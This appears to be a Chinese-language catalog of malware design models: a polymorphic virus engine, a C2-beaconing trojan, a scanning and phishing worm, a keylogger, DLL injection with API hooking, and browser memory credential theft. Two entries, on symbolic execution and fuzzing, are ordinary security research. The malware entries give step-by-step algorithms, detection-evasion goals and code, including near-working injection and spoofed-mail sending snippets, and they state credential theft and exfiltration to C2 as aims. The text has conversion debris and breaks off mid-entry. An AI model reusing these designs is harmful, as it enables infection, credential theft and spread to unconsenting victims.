Virus1-0001

病毒

基于代码混淆与变形引擎的生成模型

多态病毒引擎

1. 指令分析：对原始病毒体代码进行反汇编，识别可替换/等价指令序列。公式：I_orig = {i1, i2, ..., in}，I_eq(i) = {等价指令集}。
2. 垃圾指令插入：在代码块间随机插入无操作指令（NOP）或等效空操作序列。概率P_insert控制密度。插入点集合G = {g1, g2, ..., gm}，gi ∈ [1, n]。
3. 寄存器重映射：随机改变使用的通用寄存器。映射函数f: R_orig -> R_new，其中R为寄存器集合。
4. 代码块置换：在保持控制流逻辑不变下，重排基本块顺序。定义基本块集合B={B1,B2,...,Bk}，生成一个随机置换π(B)。
5. 加密循环：使用简单异或或加法密码对部分代码加密，运行时解密。Ciphertext = Plaintext ⊕ Key，Key在每次复制时变化。

检测逃避强度：高。变形后哈希匹配率 < 0.1%。代码熵 > 7.5 (以Shannon熵计)。

信息论（熵）、图论（控制流图）、密码学（简单流密码）、组合数学（置换）

1. Windows PE文件感染
2. 宏文档感染
3. Shell脚本变形
4. 引导扇区病毒
5. 感染压缩包内文件
6. 通过移动存储传播
7. 躲避静态特征码扫描
8. 对抗启发式分析
9. 内存驻留
10. 软件破解补丁捆绑

常量：原始病毒体代码V0；加密算法标识A。
变量：当前代密钥Key_t；垃圾指令模板集JunkSet；寄存器映射表RegMap；基本块顺序列表BlockOrder。
参数：插入概率P_insert；代码块置换概率P_permute；是否加密标志F_encrypt。

状态：S0-休眠，S1-搜索文件，S2-感染前处理（解密/变形），S3-写入宿主，S4-恢复执行。
转换：S0 ->(触发条件) S1，S1 ->(找到目标) S2，S2 ->(完成) S3，S3 ->(完成) S4，S4 -> S0或结束。

集合：指令集、文件集。
逻辑：感染条件判断（逻辑与/或）。
概率：P_insert, P_permute。
随机性：密钥、插入位置、寄存器选择随机。
组合：基本块排列、指令序列组合。
加密：异或运算。

指令级语法保留，语义等价变换。汇编语言特征明显。

1. 触发条件满足。
2. 遍历目录文件列表D。
3. 对目标文件F判断感染条件C(F)。
4. 启动变形引擎，生成新变体V_t = Engine(V0, Key_t, ...)。
5. 将V_t注入F，修改入口点。
6. 跳转回原程序入口。方程：F_infected = Embed(F, V_t)。

顺序（文件遍历）+ 随机序列（引擎内部操作）

时间：O(n*m)，n为文件数，m为文件平均大小。
空间：O(原始病毒体大小)。

X86 CPU：执行常规计算指令（ADD, MOV, XOR）、跳转指令（JMP, CALL, Jcc）、系统调用指令（INT, SYSENTER）。变体生成阶段不涉及特定硬件指令。
执行序列：MOV（加载参数）-> ADD/SUB/XOR（解密/计算）-> CMP（条件判断）-> Jcc（分支）-> 循环指令（LOOP）-> INT/SYSCALL（系统调用）。

C代码片段（核心变形逻辑）：
void polymorphic_engine(char *original_code, int key) {
for(int i=0; i<CODE_LEN; i++) {
if(rand() % 100 < P_INSERT) { insert_junk(); }
int new_reg = map_register(get_current_reg());
emit_mov(new_reg, get_current_value());
}
cipher_code(original_code, CODE_LEN, key);
}

Virus1-0002

木马

基于通信加密与行为隐藏的远程控制模型

反向连接木马通信模型

1. 信标(Beacon)：木马启动后，尝试连接C2服务器。使用指数退避算法重试。间隔T_k = min(T_max, α * T_{k-1})，其中α>1。
2. 连接建立：使用TCP/HTTP/HTTPS/DNS隧道。模拟合法流量。定义网络套接字S，目标地址A_c2，端口P_c2。
3. 命令接收与解析：接收加密命令C_enc，用预共享密钥K_ps解密。C = Dec(C_enc, K_ps)。
4. 命令执行：根据命令C执行相应操作Op(C)（如文件操作、屏幕捕获、键盘记录）。
5. 数据回传：将结果R加密R_enc = Enc(R, K_ps)后发送回C2。

隐蔽性：高。流量可模仿正常HTTPS。检测率依赖于C2存活状态和流量分析深度。

网络协议、密码学（对称加密）、控制理论（反馈循环）、指数退避算法

1. 远程桌面控制
2. 键盘记录与窃密
3. 下载并执行任意载荷
4. DDoS僵尸网络
5. 内网渗透跳板
6. 勒索软件通讯
7. 云服务API滥用
8. 移动设备监控
9. 工业控制系统入侵
10. 供应链攻击后门

常量：C2地址A_c2（或域名），端口P_c2，预共享密钥K_ps（或公钥PK_c2）。
变量：当前退避时间T_cur，当前连接套接字sock，最后心跳时间t_last，会话IDSessionID。
参数：初始间隔T0，退避因子α，最大间隔T_max，心跳超时T_heartbeat。

状态：S0-初始化，S1-尝试连接C2，S2-连接就绪（等待命令），S3-执行命令，S4-发送结果，S5-连接失败/等待重试。
转换：S0->S1，S1->(成功)S2，S1->(失败)S5，S2->(收到命令)S3，S3->S4，S4->S2，S5->(超时)S1。

逻辑：连接成功/失败判断。
概率：重试间隔的随机抖动。
优化：指数退避是避免检测的优化。
代数：退避时间计算公式。
计算：加密解密运算。
时序：心跳机制维持连接。

网络协议格式（HTTP头，DNS查询），加密载荷的Base64编码，JSON/XML命令格式。

1. 初始化：加载配置。
2. 循环：
a. 计算下一次连接时间t_next = now() + T_cur。
b. 休眠至t_next。
c. 尝试连接connect(A_c2, P_c2)。方程：success = f_connect(sock, A_c2, P_c2)。
d. 连接成功则发送信标Beacon = Enc(SessionID, K_ps)，进入命令循环。
e. 接收数据recv(sock)，解密得C。
f. 执行result = Op(C)。
g. 加密并发送结果。
f. 失败则更新T_cur = min(α * T_cur, T_max)。

顺序（命令执行）+ 并行序列（可能多线程处理命令与心跳）

时间：通信延迟为主。O(命令执行时间)。
空间：O(命令结果数据大小)。

通用CPU：执行网络I/O系统调用（socket, connect, send, recv）、加密指令（AES-NI）、文件I/O系统调用。
指令序列：网络设置指令 -> 加密/解密指令（AESENC, AESDEC）-> 系统调用陷入 -> 内存操作指令（MOV, LOAD, STORE）。

Go代码片段（连接与心跳）：
func beacon(c2Addr string, backoff time.Duration) {
for {
conn, err := net.Dial("tcp", c2Addr)
if err != nil {
backoff = min(backoff*2, maxBackoff)
time.Sleep(backoff + jitter)
continue
}
handleSession(conn) //进入会话处理
backoff = initialBackoff
}
}

Virus1-0003

蠕虫

基于拓扑扫描与漏洞利用的自主传播模型

随机扫描/路由拓扑扫描蠕虫

1. 目标生成：随机生成IP地址IP_target = random_IP()。或基于网络拓扑（如路由表、邻居列表）生成目标集T = {IP1, IP2, ...}。
2. 漏洞探测：向目标发送特制探针Probe，检测特定服务端口P。response = send(IP_target, P, Probe)。
3. 漏洞验证：分析响应response，判断是否存在漏洞Vuln。isVulnerable = match(response, Vuln_Signature)。
4. 传播载荷投递：若存在漏洞，发送漏洞利用代码Exploit和蠕虫本体WormBody。send(IP_target, P, Exploit + WormBody)。
5. 自我激活：感染成功后，新宿主从步骤1开始执行。

传播速度：快。扫描速率λ（个/秒）。感染成功率取决于漏洞普及率ρ。传播模型常符合逻辑增长曲线：dI/dt = β * I * (N - I)/N，其中I是感染数，N是总目标数，β是传播率。

流行病学模型（SIR模型）、随机过程、图论（网络拓扑）、博弈论（传播策略）

1. 互联网规模IPv4随机扫描
2. 企业内部网ARP扫描传播
3. 电子邮件地址簿扫描
4. 即时通讯软件联系人传播
5. 社交网络API爬取与恶意消息
6. 物联网设备默认口令扫描
7. 云容器镜像仓库传播
8. 软件仓库投毒（依赖混淆）
9. USB设备自动运行传播
10. 无线网络（Wi-Fi）邻接传播

常量：扫描端口列表PortList，漏洞特征Vuln_Signature，利用代码Exploit。
变量：当前扫描IPIP_cur，已感染列表InfectedList，待扫描列表ScanQueue。
参数：扫描速率λ，网络掩码/地址空间Network，最大并发线程数M。

状态：S0-初始化/生成种子，S1-扫描目标选择，S2-发送探针，S3-分析响应，S4-发送载荷，S5-成功感染并激活新实例。
转换：S0->S1，S1->S2，S2->S3，S3->(是)S4，S3->(否)S1，S4->(成功)S5，S5->S1（新实例）。

集合：IP地址空间，开放端口集合。
概率：随机IP生成，漏洞存在概率ρ。
统计：感染增长曲线。
图论：网络拓扑图。
优化：扫描策略优化（选择性扫描）。
组合：端口与IP地址组合。

网络协议数据包构造（SYN包，特定漏洞触发请求包），Shellcode特征。

1. 初始化随机种子IP或从配置文件读取初始列表。
2. 从队列取一个目标IP_t。
3. 对IP_t，遍历PortList中每个端口p：
a. 建立连接或发送探测包。sock = socket(); connect(IP_t, p)。
b. 接收响应resp = recv(sock)。
c. 如果match(resp, Vuln_Signature)为真，则跳出循环，进入步骤4。
4. 发送漏洞利用链send(sock, Exploit)，触发后门或直接上传蠕虫本体。
5. 关闭连接，将IP_t加入感染列表，并将IP_t的邻居加入扫描队列。

并行序列（多线程扫描）+ 随机序列（IP生成）

时间：O(N * m)，N为地址空间大小，m为端口数。但通过并行可加速。
空间：O(扫描队列大小 + 感染列表大小)。

通用CPU：密集执行网络I/O系统调用、字符串匹配运算、数据包构造。多线程并发。
指令序列：网络套接字指令 -> 内存拷贝（构造数据包）-> 字符串比较 -> 线程创建/同步指令 -> 系统调用。

Python伪代码（扫描循环）：
def scan_and_infect():
while True:
target_ip = generate_target_ip()
for port in TARGET_PORTS:
sock = socket.socket()
try:
sock.connect((target_ip, port))
sock.send(PROBE)
resp = sock.recv(1024)
if VULN_SIGNATURE in resp:
sock.send(EXPLOIT_PAYLOAD)
log_infection(target_ip)
break
except: pass
finally: sock.close()

Virus1-0004

信息窃取

基于键盘记录与屏幕捕获的数据采集模型

键盘记录钩子与屏幕截图模型

1. 钩子安装：在操作系统中安装键盘/鼠标事件钩子（Hook）。函数SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, ...)（Windows）或XRecordCreateContext（Linux/X11）。
2. 事件回调：钩子过程HookProc被系统在事件发生时调用。接收事件结构KBDLLHOOKSTRUCT或XEvent。
3. 数据记录：从事件结构中提取键码keycode、按下/释放状态、时间戳t，并记录。LogEntry = (t, keycode, state, window_title)。
4. 屏幕捕获：定期（间隔Δt）或由特定触发（如访问特定网站）调用截图API。Bitmap = CaptureScreen()。
5. 数据压缩与回传：将日志和截图压缩（如zip），加密后发送到C2。Data = Compress(Log + Bitmaps)，Cipher = Enc(Data, K)。

数据完整性：高。可捕获几乎所有键盘输入。时间分辨率可达毫秒级。截屏质量可调（分辨率、色深）。

操作系统事件驱动模型、钩子机制、计算机图形学（屏幕抓取）、数据压缩理论

1. 窃取登录凭证（账号密码）
2. 监控即时通讯聊天内容
3. 记录访问的网址和搜索词
4. 窃取文档编辑内容
5. 游戏账号与虚拟财产盗窃
6. 远程办公监控
7. 金融交易信息窃取
8. 双因素认证令牌捕获（通过记录）
9. 屏幕录像窃取敏感信息
10. 配合勒索软件确定支付能力

常量：钩子类型标识HookType，截图间隔Δt，压缩算法Algo_comp，加密密钥K。
变量：钩子句柄hHook，事件队列EventQueue，最后截图时间t_last_cap，当前活动窗口句柄hWnd。
参数：是否记录系统键Flag_syskey，截图质量Quality，触发截屏的敏感关键词列表TriggerWords。

状态：S0-空闲/未安装，S1-钩子已安装（等待事件），S2-处理键盘事件，S3-处理鼠标事件（可选），S4-定时/触发截图，S5-数据打包发送。
转换：S0->(启动)S1，S1->(键盘事件)S2，S1->(鼠标事件)S3，S1->(定时器到/触发词匹配)S4，S2/S3/S4->(记录完成)S5，S5->S1。

逻辑：事件触发条件判断。
时序：严格的事件发生顺序和时间戳。
集合：记录的事件集合，截图集合。
概率：可引入随机延迟发送以避免检测。
数据规律：按键频率分析可推测输入内容。
微分：事件发生的瞬间记录。

系统API调用，事件消息格式（如Windows消息WM_KEYDOWN），位图文件格式。

1. 程序启动，安装系统钩子。
2. 系统将输入事件分发到钩子过程HookProc。
3. 在HookProc中：
a. 获取事件类型nCode和参数wParam, lParam。
b. 从lParam指向的结构中提取键码vkCode和扫描码scanCode。
c. 获取当前时间t = GetTickCount()和窗口标题title = GetActiveWindowTitle()。
d. 将元组(t, vkCode, title)追加到缓冲区。
4. 独立计时线程：循环检查if(now() - t_last_cap > Δt) { CaptureScreen(); t_last_cap = now(); }。
5. 发送线程：定期或当缓冲区满时，压缩加密缓冲区数据并发送。

中断驱动（钩子回调）+ 顺序/并行序列（记录、截图、发送可并行）

时间：钩子回调为O(1)，截图操作O(屏幕像素数)，压缩O(n log n)。
空间：存储原始事件和截图数据，可能较大。

X86/ARM CPU：执行系统调用（安装钩子、截图）、中断处理（钩子回调函数）、图形API调用（BitBlt等）、内存和文件I/O。
指令序列：系统调用指令（INT, SYSENTER/SYSCALL）-> 上下文保存/恢复（PUSH/POP）-> 图形加速指令（可能用到MMX/SSE处理图像）-> 加密指令（AES）。

C++代码片段（Windows键盘钩子）：
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT p = (KBDLLHOOKSTRUCT)lParam;
DWORD vk = p->vkCode;
log(vk, wParam, GetTickCount());
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

Virus1-0005

漏洞发现

基于符号执行的路径探索与约束求解模型

动态符号执行（如KLEE）

1. 程序加载与插桩：加载目标程序P，并在其指令级别插桩，将具体输入替换为符号变量σ = {σ1, σ2, ...}。
2. 路径探索：模拟执行程序，遇到分支指令时，将条件c加入路径约束Φ。生成两个新的状态：Φ ∧ c和 Φ ∧ ¬c。通过调度器选择下一个状态探索。
3. 约束生成与求解：对于每条路径的约束Φ，使用约束求解器（如STP, Z3）求解。若可解，则得到一组具体输入值I使得Φ(I) = true。
4. 漏洞检测：在符号执行过程中监控内存操作（如数组访问、指针解引用），检查约束是否可能违反安全属性（如缓冲区溢出index >= size）。生成漏洞报告Report。

代码覆盖率：高，可达到高路径覆盖率。误报率：依赖约束求解精度和漏洞规则定义，可能较高。

程序分析理论、符号计算、约束求解（SMT）、自动机理论（程序状态）、可满足性模理论（SMT）

1. 文件格式解析器漏洞挖掘（PDF, Office）
2. 网络协议实现漏洞挖掘
3. 操作系统内核驱动漏洞挖掘
4. 嵌入式设备固件漏洞分析
5. 智能合约重入漏洞检测
6. 浏览器JavaScript引擎漏洞挖掘
7. 压缩/解压库漏洞挖掘
8. 加密库侧信道分析（需扩展）
9. 源代码未知的二进制程序分析
10. 自动化漏洞利用生成（AEG）的前期步骤

常量：目标程序P，符号变量集合SymVars，安全属性规则集Rules。
变量：当前路径约束Φ，程序状态State（内存、寄存器），工作列表Worklist（待探索状态）。
参数：搜索深度Depth_max，状态超时时间T_timeout，约束求解超时Solver_timeout，搜索策略（DFS, BFS, 随机）。

状态：S0-加载程序，S1-符号执行中，S2-遇到分支，S3-生成新状态加入工作列表，S4-调用约束求解器，S5-检测到漏洞/生成输入，S6-状态终止（完成/超时/不可解）。
转换：S0->S1，S1->(遇到分支)S2，S2->S3，S3->S1（从工作列表取新状态）S1->(需要具体输入)S4，S4->(可解)S5，S4->(不可解)S6，S1->(违反规则)S5，S1->(终止条件满足)S6。

逻辑：路径约束是逻辑公式的合取。
集合：程序状态集合，路径集合。
代数：约束求解涉及算术、位向量运算。
图论：控制流图（CFG）探索。
计算：符号模拟，约束求解是核心计算。
优化：搜索策略优化，约束简化。

中间表示语言（如LLVM IR），SMT-LIB语言（用于与求解器交互）。

1. 初始化：将程序入口状态(PC0, Φ=true)加入工作列表Worklist。
2. While Worklist非空：
a. 弹出状态s = (PC, Φ)。
b. 符号执行s中的下一条指令inst。
c. 若inst是赋值x = e，更新符号状态：σ[x] = evaluate(e, σ)。
d. 若inst是条件分支if (c)，则创建两个新状态：s1=(PC_true, Φ ∧ c(σ)), s2=(PC_false, Φ ∧ ¬c(σ))，将s1, s2加入Worklist。
e. 若inst是内存访问mem[addr]，检查addr是否可能越界：求解Φ ∧ (addr < base ∨ addr >= base+size)，若可满足则报告漏洞。
f. 若inst是函数调用或复杂指令，可能进行具体化或调用模型。
3. 对Worklist中因外部调用等需要具体输入的状态，调用求解器求解Φ得到输入I，用I进行具体执行。

顺序（指令模拟） + 并行（可并行探索不同路径）

时间：最坏情况下是指数级（路径爆炸）。实际中通过启发式剪枝。
空间：存储大量路径状态和约束，内存消耗大。

通用CPU：密集的整数和逻辑运算，内存访问模拟，与约束求解器（常为单独进程）的进程间通信。求解器本身涉及大量CPU计算。
指令序列：加载/存储指令（模拟内存）、比较和跳转指令（模拟分支）、函数调用指令、与求解器通信的系统调用。

C代码片段（简化路径探索）：
void explore(state_t s) {
while (!is_terminated(s)) {
instruction_t inst = get_next_inst(s);
switch (inst.type) {
case ASSIGN: update_symbolic_state(s, inst); break;
case BRANCH: {
expr_t cond = evaluate_symbolic(inst.condition, s);
state_t s_true = fork_state(s, cond);
state_t s_false = fork_state(s, not(cond));
worklist_add(s_true); worklist_add(s_false);
return;
}
// ...
}
}
}

Virus1-0006

木马

基于进程注入与API挂钩的持久化模型

DLL注入与API钩子模型

1. 打开目标进程：获取目标进程IDpid，调用OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)获得句柄hProcess。
2. 分配内存：在目标进程中分配内存VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)，返回地址pRemoteMem。
3. 写入载荷：将恶意DLL路径或Shellcode写入分配的内存WriteProcessMemory(hProcess, pRemoteMem, payload, size, NULL)。
4. 创建远程线程：启动远程线程执行加载代码CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteMem, 0, NULL)。其中pLoadLibrary是LoadLibrary函数地址。
5. API钩子：注入的DLL在其入口函数中，修改目标API函数入口处的字节为跳转指令JMP MyHook，跳转到钩子函数。需计算偏移：JMP_OFFSET = MyHook_Addr - (Original_API_Addr + 5)。

隐蔽性：中。可被进程监控工具发现。注入成功率依赖于权限和防护软件。挂钩粒度可到函数级别。

Windows PE文件格式、进程内存管理、动态链接库（DLL）机制、汇编指令（JMP）

1. 游戏外挂（修改内存、调用）
2. 银行木马（挂钩网络API窃取数据）
3. 勒索软件（挂钩文件加密API）
4. Rootkit（隐藏进程、文件）
5. 窃取浏览器密码（挂钩密码相关API）
6. 截屏木马（挂钩图形API）
7. 审计与监控（合法用途，如行为分析）
8. 软件破解（绕过许可证检查）
9. 恶意代码无文件落地执行
10. 绕过杀毒软件内存扫描

常量：目标进程名TargetProcName，恶意DLL路径DllPath，要挂钩的API函数名ApiName。
变量：目标进程句柄hProcess，远程内存地址pRemoteMem，远程线程句柄hThread，原始API函数前5字节备份OriginalBytes[5]。
参数：注入方法（CreateRemoteThread, APC, SetWindowsHookEx等），挂钩类型（inline hook, IAT hook等）。

状态：S0-寻找目标进程，S1-打开进程，S2-分配远程内存，S3-写入载荷，S4-创建远程线程执行，S5-（DLL内部）获取API地址，S6-修改API代码（挂钩），S7-（运行时）调用被挂钩API，执行恶意代码。
转换：S0->(找到)S1，S1->(成功)S2，S2->S3，S3->S4，S4->S5，S5->S6，正常API调用->S7。

逻辑：进程权限检查。
代数：计算JMP指令的偏移量。
地址计算：虚拟内存地址操作。
集合：进程列表，已挂钩API集合。
顺序：注入步骤必须严格顺序执行。

系统API调用序列，PEB（进程环境块）结构，汇编跳转指令（E9 JMP）。

1. 枚举进程快照CreateToolhelp32Snapshot，找到TargetProcName对应的pid。
2. hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)。
3. pRemoteMem = VirtualAllocEx(hProcess, ..., size, ...)。
4. WriteProcessMemory(hProcess, pRemoteMem, DllPath, len, ...)。
5. 获取LoadLibraryA函数地址（在kernel32.dll中，本进程与目标进程相同）。
6. hThread = CreateRemoteThread(hProcess, ..., pLoadLibraryA, pRemoteMem, ...)。
7. 在DLL_PROCESS_ATTACH中：pOrgFunc = GetProcAddress(GetModuleHandle("目标模块"), "ApiName")。
8. 备份pOrgFunc处前5字节。
9. 计算跳转偏移offset = pMyHook - pOrgFunc - 5。
10. 写入JMP offset的机器码到pOrgFunc。

严格顺序执行

时间：O(进程数 + 内存操作)，较快。
空间：在目标进程分配少量内存。

X86/ARM CPU：执行系统调用（OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread）、内存屏障操作、修改代码段权限（VirtualProtectEx）。挂钩时需要原子地修改内存指令。
指令序列：系统调用 -> 内存读写指令 -> 计算跳转偏移的算术指令 -> 线程上下文操作。

C++代码片段（DLL注入）：
bool InjectDLL(DWORD pid, const char* dllPath) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pRemoteMem = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, pRemoteMem, dllPath, strlen(dllPath)+1, NULL);
LPTHREAD_START_ROUTINE pLoadLib = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProc, NULL, 0, pLoadLib, pRemoteMem, 0, NULL);
return true;
}

Virus1-0007

蠕虫

基于社交工程与链接点击的传播模型

钓鱼邮件蠕虫传播模型

1. 联系人收集：读取受感染主机的邮件客户端地址簿、社交软件联系人列表。Contacts = ExtractContacts()。
2. 邮件构造：
a. 发件人伪造：From = Spoofed_Sender(Contacts)。
b. 主题生成：使用社会工程学模板，Subject = Template_Subject[rand()]。
c. 正文生成：包含诱导性文本和恶意链接/附件。Body = Generate_Body(Subject, Malicious_Link/Attachment)。
3. 邮件发送：通过SMTP协议或邮件客户端API发送。SendMail(SMTP_Server, From, Contacts, Subject, Body)。
4. 恶意载荷投递：链接指向钓鱼网站或下载恶意软件；附件为带宏的文档或可执行文件。
5. 自动执行：诱导用户点击链接或打开附件，从而感染新主机。

传播效率：依赖社交工程成功率。点击率（CTR）通常1%-10%。感染率R0可大于1。

社会工程学、图论（社交网络）、概率模型（点击率）、自然语言处理（模板生成）

1. 大规模垃圾邮件传播
2. 针对企业的鱼叉式钓鱼
3. 利用热点事件（如疫情、赛事）的钓鱼
4. 假冒银行/支付机构通知
5. 假冒社交媒体好友请求
6. 假冒订单确认/物流信息
7. 假冒公司内部通知（HR、IT部门）
8. 恶意Office宏文档传播
9. 利用云存储链接传播
10. 结合漏洞（如Office漏洞CVE-2017-11882）自动执行

常量：邮件模板库Templates，SMTP服务器地址SMTP_Server，恶意链接URL/附件路径Payload_Path。
变量：联系人列表ContactList，当前发送索引index，已发送列表SentList。
参数：每次发送数量BatchSize，发送延迟Delay，是否使用发件人伪造Flag_Spoof，主题模板选择概率分布P_template。

状态：S0-收集联系人，S1-选择目标联系人，S2-生成邮件内容，S3-建立SMTP连接，S4-发送邮件，S5-记录已发送，S6-等待延迟。
转换：S0->S1，S1->S2，S2->S3，S3->S4，S4->S5，S5->(还有目标)S1，S5->(批次完成)S6，S6->S1。

集合：联系人集合，邮件模板集合。
概率：模板选择概率，点击率模型。
图论：通过联系人列表形成的社交图传播。
优化：选择高价值目标（如管理员）。
统计：发送成功率统计。

电子邮件格式（RFC 5322），HTML正文，社会工程学话术（自然语言），链接缩短服务URL。

1. 遍历本地邮件存储（如Outlook .pst文件）或调用API获取联系人列表L。
2. 对L中每个联系人或分批处理：
a. 从模板库中按概率选取一个模板T。
b. 用联系人信息（如姓名）填充模板，生成个性化内容C = Fill(T, contact)。
c. 构造完整的MIME邮件M = BuildMail(from=spoofed, to=contact.email, subject=T.subject, body=C)。
d. 连接SMTP服务器（通常端口25，587），进行身份验证（如果需）smtp_connect(SMTP_Server)。
e. 发送邮件smtp_send(M)。
f. 记录contact到已发送列表，避免重复。
g. 休眠Delay毫秒以避免速率限制。

顺序（遍历联系人） + 并行（可多线程发送）

时间：O(n)，n为联系人数量。受网络延迟和SMTP服务器响应影响大。
空间：O(联系人列表大小 + 邮件模板大小)。

通用CPU：执行文件I/O（读取联系人）、网络I/O（SMTP）、字符串处理（邮件构造）。
指令序列：文件读取系统调用 -> 字符串操作指令（MOVSB, SCASB等） -> 网络连接和发送系统调用 -> 睡眠/延迟指令（如RDTSC循环或系统调用）。

Python伪代码（发送循环）：
import smtplib
contacts = get_contacts()
for contact in contacts:
msg = MIMEMultipart()
msg['From'] = spoofed_sender
msg['To'] = contact.email
msg['Subject'] = random.choice(subject_templates)
body = generate_body(contact.name)
msg.attach(MIMEText(body, 'html'))
with smtplib.SMTP(smtp_server, 587) as server:
server.starttls()
server.login(my_email, my_pass) # 或使用开放中继
server.sendmail(spoofed_sender, contact.email, msg.as_string())
time.sleep(delay)

Virus1-0008

信息窃取

基于浏览器内存扫描的凭据提取模型

浏览器进程内存凭证抓取模型

1. 定位浏览器进程：枚举进程列表，查找浏览器进程（如chrome.exe, firefox.exe, msedge.exe）的PID。
2. 打开进程并读取内存：OpenProcess(PROCESS_VM_READ, ...)获取句柄。遍历进程的虚拟内存区域（VirtualQueryEx）。
3. 内存模式匹配：在内存区域中搜索特定模式（如URL、用户名、密码字段的HTML特征、JSON密钥名）。使用字符串搜索算法（如Boyer-Moore）。if (memmem(region, size, pattern, pattern_len) != NULL)。
4. 提取与解析：找到模式后，根据浏览器存储结构（如SQLite内存映射、JSON字符串、DOM节点）解析出相邻的凭据数据。例如，找到"password"字段后，提取其值。
5. 解密：某些浏览器会加密存储的密码，需在内存中查找或导出加密密钥，然后在本地解密。password_plain = Decrypt(password_enc, master_key)。

准确性：高，可获取内存中现成的明文密码。覆盖范围：取决于浏览器版本和存储方式。

进程内存布局、浏览器内部存储机制（SQLite, JSON, 序列化对象）、字符串搜索算法、加密解密流程

1. 窃取浏览器保存的网站登录密码
2. 窃取自动填充的表单数据（地址、信用卡）
3. 窃取会话Cookie（用于会话劫持）
4. 窃取浏览器历史记录和书签
5. 窃取OAuth令牌等认证信息
6. 窃取加密货币钱包浏览器插件数据
7. 企业环境中的单点登录（SSO）令牌窃取
8. 云端同步密码库的本地缓存窃取
9. 无痕模式下的内存数据窃取（如果进程未退出）
10. 对抗密码管理器的内存抓取

常量：浏览器进程名列表BrowserNames，搜索模式（如"password", "username", "cookie"），SQLite文件头魔数SQLITE_MAGIC。
变量：目标进程句柄hProcess，内存区域信息MEMORY_BASIC_INFORMATION，找到的凭据列表CredList。
参数：搜索的内存范围（通常为可读写的私有提交内存MEM_PRIVATE），模式匹配的容错度，是否尝试解密Flag_Decrypt。

状态：S0-枚举进程，S1-打开目标浏览器进程，S2-查询内存区域，S3-读取内存块，S4-模式匹配，S5-提取凭据，S6-（可选）解密，S7-输出/发送凭据。
转换：S0->(找到)S1，S1->S2，S2->(有效区域)S3，S2->(无更多区域)S7，S3->S4，S4->(匹配成功)S5，S4->(失败)S2（下一区域），S5->(需解密)S6，S5/S6->S2（继续搜索）。

集合：进程集合，内存区域集合，凭据集合。
字符串匹配：在内存字节序列中搜索模式串。
概率：凭据在内存中特定区域出现的概率。
数据结构：解析浏览器内部数据结构（链表、哈希表）。
加密：可能的AES/GCM解密运算。

浏览器内部数据结构序列化格式，SQLite数据库文件格式，JSON字符串，HTTP Cookie格式。

1. 获取进程快照CreateToolhelp32Snapshot，遍历查找进程名在BrowserNames中的进程，记录其pid。
2. 对每个目标pid：`hProcess = OpenProcess(PROCESS_VM_READ

PROCESS_QUERY_INFORMATION, FALSE, pid)。<br>3. 初始化地址addr = 0。<br>4. 循环：while (VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi)))：<br> a. 如果内存区域可读且为私有提交（mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE）：<br> b. 分配缓冲区buf = malloc(mbi.RegionSize)。<br> c.ReadProcessMemory(hProcess, mbi.BaseAddress, buf, mbi.RegionSize, NULL)。<br> d. 在buf中搜索模式串pattern。<br> e. 如果找到，则根据浏览器类型和模式上下文解析出关键数据（如URL、用户名、密码）。<br> f. 释放buf，addr = mbi.BaseAddress + mbi.RegionSize`。
5. 将收集的凭据列表发送到C2。

顺序（遍历进程和内存区域）

时间：O(P * M * L)，P为进程数，M为内存区域数，L为区域大小。较慢，尤其是大内存进程。
空间：需要缓冲区存储读取的内存块，O(最大内存区域大小)。

X86/ARM CPU：密集的系统调用（OpenProcess, VirtualQueryEx, ReadProcessMemory）、内存中字节扫描（REP SCASB等指令或软件算法）、字符串比较。
指令序列：进程枚举系统调用 -> 内存查询系统调用 -> 循环读取内存系统调用 -> 内存扫描指令（比较、跳转）-> 字符串解析指令。

Virus1-0009

漏洞发现

基于模糊测试的输入生成与异常监控模型

覆盖引导的灰盒模糊测试（如AFL）

1. 种子输入队列初始化：初始种子集SeedQueue = {seed1, seed2, ...}。
2. 输入变异：从队列中选择一个种子seed，应用多种变异策略：
- 位翻转：flip bit at position i with probability p。
- 算术增减：seed[i] = seed[i] ± rand()。
- 块插入/删除/替换等。
生成一批新输入Inputs = Mutate(seed)。
3. 程序插桩与执行：使用编译时插桩或二进制插桩，在程序分支点记录执行路径。执行每个输入I，得到覆盖位图CoverageBitmap(I)。
4. 覆盖分析：比较新输入的覆盖位图b_new与已有位图集合。如果b_new发现了新的边（edge）覆盖，则将I作为新种子加入队列。if (has_new_bits(b_new)) { SeedQueue.push(I); }。
5. 异常监控：监控程序崩溃（如信号SIGSEGV）或超时。如果发生，则记录输入I为可能导致漏洞的候选。

代码覆盖率：较高，能渐进式提高。漏洞发现能力：强，尤其对内存破坏类漏洞。效率高于纯随机模糊测试。

遗传算法（输入变异与选择）、程序控制流图（边覆盖）、概率统计、反馈循环

1. 文件解析器模糊测试（图像、视频、文档）
2. 网络服务协议模糊测试
3. 操作系统系统调用模糊测试
4. 浏览器渲染引擎模糊测试
5. 虚拟机与模拟器模糊测试
6. 数据库SQL查询解析模糊测试
7. 编译器模糊测试（处理异常代码）
8. 硬件描述语言（HDL）模拟器模糊测试
9. API函数参数模糊测试
10. 智能合约虚拟机模糊测试

常量：初始种子集InitialSeeds，插桩后的目标程序P_instrumented，变异操作集Mutators。
变量：种子队列SeedQueue，全局覆盖位图GlobalBitmap，已发现崩溃列表Crashes，执行次数计数器execs。
参数：变异强度MutationStrength，时间/执行次数上限Timeout/MaxExecs，是否使用字典UseDictionary。

